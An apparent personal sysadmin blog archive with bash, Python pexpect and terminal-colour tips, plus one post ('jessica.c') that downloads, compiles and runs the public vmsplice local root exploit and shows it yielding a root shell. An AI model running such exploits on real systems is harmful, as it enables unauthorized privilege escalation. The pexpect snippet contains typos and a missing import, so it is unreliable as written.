Archivio

Posts Tagged ‘script’

bash scripting: change delim using for

gennaio 7, 2013 Commenti disabilitati

Usually when I write shell script I prefer to use the statement “for”.
But there’s a problem: by default the ‘for’ get every single word.

That’s because if not specified the ‘for’ use as delimiter the space character (” “).
So, if I want to work with several word in a single iteration i need to change the delimiter.

That’s easy!
To change the delimiter you just need to change the variable IFS.

Let’s see some code:


LOGFILE=/var/log/mylogfile.log
IFS=";"                              # change delimiter in ";" (magic)
EXCEPTIONS="timeout;java.somerror;a lot of errors"    # my exception 
for word in $EXCEPTIONS;do
    echo -n "Check Exception: \"$word\" ..."         # escape "
    N=$(grep -ic $word $LOGFILE)                     # check log
    if [ $N -gt 0 ];then                             # if found
        echo -e "\nWARNING: Found $N exception:\"$word\"" # print 
    else
        echo "None"                                  # else no
    fi
done

output:


> Check Exception: "timeout"...None
> Check Exception: "java.somerror"...None
> Check Exception: "a lot of errors"...
WARNING: Found 3 exception "a lot of errors"

That’s an easy way to use the ‘for’ statement even if usually cant and so you can write good code.
enjoy 🙂

Categorie:linux Tag:, , , , , , ,

python tricky way

marzo 23, 2012 Commenti disabilitati

I’m using python for several script this days and I’m figured out how much is powerful compared to the bash script language. So I’ve decided to write here some script or some fuzzy trick to get easy the sysadmin’s life .

Also it is a good way to start writing some code and get out from the secure shell scripting and copy-edit-pasted-perl-code.

Python is different …

WHY

First of all let me try to explain why python .

python is a very simple language, it is intuitive and for who knows different program languages you will feel secure, quick and easy to learn. Sure it has some syntax limit, but is a chooice. I’ve spent more the few weeks to understand why there is the need to indenting the code, then I’ve understood it… It’s for the one who read the code.. not only for who stay writing everyday!

The limit of python is the result of his powers!

There is no need to define new vars, or to repeat some code, because create a function is very quickly and finally let me see it: the world is better without brackets

🙂

Take a look at this:

# s@mba - python & pexpect
# python simple ssh connection withouth password
import pexpect

myhost = "user@machiname.lan"
commands = ["ls","uptime","some other fucking commands", "exit"]
p = pexpect.spwan("ssh " + myhost)
conn = p.expect(["Are you sure","[Pp]assoword",pexpect.EOF])
if conn == 0:
  p.sendline("yes")
if conn == 1:
  passw = raw_input("Password: ")
  p.sendline(passw)
if conn == 2:
  sys.exit("no ssh session, exit")
for cmd in commands:
  p.sendline(cmd)
p.sendline("\n")
p.expect("\r\n")
print p.before

This is a very simple way to execute some code on a remote server if you cannot store ssh_keys in authorzed_keys, easy no?

Why using pexpect and not expect language?

Beacuse in this way I can manage all the exception, timeout and other issue just using the “try:” option in python

So stay tuned sysadmin, probably you will find something interesting, maybe some fuzzy scripts  about python 🙂

you know a good sysadmin always finding a way to solve, workaround and automatize all the mountain of problem here we have

and if you really don’t know nothing about it, it could be a good way to start.

🙂

Categorie:varie Tag:, , , ,

il terminale nero le directory blu scuro

agosto 6, 2009 Commenti disabilitati

Un fastidio enorme, fai un ls e ci metti un ora a capire come si chiama quella cartella blu scura, a volte fa talmente incazzare che fai un bel :

rm -rf dir*

che non è proprio carino… anzi magari becchi proprio quella che non dovevi.

Ora ho scoperto che basta settare una variabile e tutto per incanto sparisce ,

export LS_COLORS='di=01;36'

poi prova a dare dal tuo terminale un bel ls e scoprirai che…

…il cucchiaio non esiste

ovviamente io ho scelto il blu ciano ma si può scegliere ogni colore disponibile. Per sapere che colori ha il tuo terminale prova questo script:

# samba took this

esc="33["
echo -n " _ _ _ _ _40 _ _ _ 41_ _ _ _42 _ _ _ 43"
echo "_ _ _ 44_ _ _ _45 _ _ _ 46_ _ _ _47 _"
for fore in 30 31 32 33 34 35 36 37; do
        line1="$fore  "
        line2="    "
        for back in 40 41 42 43 44 45 46 47; do
                line1="${line1}${esc}${back};${fore}m Normal
                ${esc}0m"
                line2="${line2}${esc}${back};${fore};1m Bold
        ${esc}0m"
        done
        echo -e "$line1\n$line2"
done
esc="33["
       echo -n " _ _ _ _ _40 _ _ _ 41_ _ _ _42 _ _ _ 43"
       echo "_ _ _ 44_ _ _ _45 _ _ _ 46_ _ _ _47 _"
       for fore in 30 31 32 33 34 35 36 37; do
         line1="$fore  "
         line2="    "
         for back in 40 41 42 43 44 45 46 47; do
         line1="${line1}${esc}${back};${fore}m Normal
         ${esc}0m"
         line2="${line2}${esc}${back};${fore};1m Bold
         ${esc}0m"

         done
       echo -e "$line1\n$line2"
       done
Categorie:varie Tag:, , , , ,

jessica.c

luglio 2, 2009 3 commenti
wget -c http://www.milw0rm.com/exploits/5092 -O jessica.c
gcc jessica.c -o jessica
./jessica
me@myserver:~$ ./jessica
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f94000 .. 0xb7fc6000
[+] root
root@myserver:~#
Categorie:varie Tag:, ,

workshop 0

dicembre 7, 2008 Commenti disabilitati

Ho fatto un workshop in underscore. Il workshop aiutava a comprendere bash,awk, grep, sed e strumenti affini.

Credo che il corso sia andato piuttosto bene, anche se è difficile fare da tutor contemporaneamente a 4 persone e in più con una gamba zoppicante che non ne vuole sapere di stare al caldo. Il corso mi ha soddisfatto anche se cmq mi rendo conto che non è semplice riuscire a creare cose, organizzare e prendersi degli impegni.

Io sono sempre stato così. So che per pigrizia una cosa non la voglio fare, ma sento che è giusta, quindi la organizzo lo stesso e poi preso dal dovere mi obbligo a completare il mio impegno, quasi che fosse una cosa dovuta… capisco che sia strano ma questo autovincolo mi aiuta a portare a termine il mio lavoro e qundi credo sia importante che ci sia.

Su questa pagina trovate le  slide ed esercitazioni suddivise per livello. Un grazie particolare a whitone che mi ha aiutato nell’esame di sistemi operativi grazie al quale non avrei mai preso 30L.

trenta e lode

Il mio primo 30L al politecnico e credo anche l’ultimo 🙂

Categorie:pensieri Tag:, , ,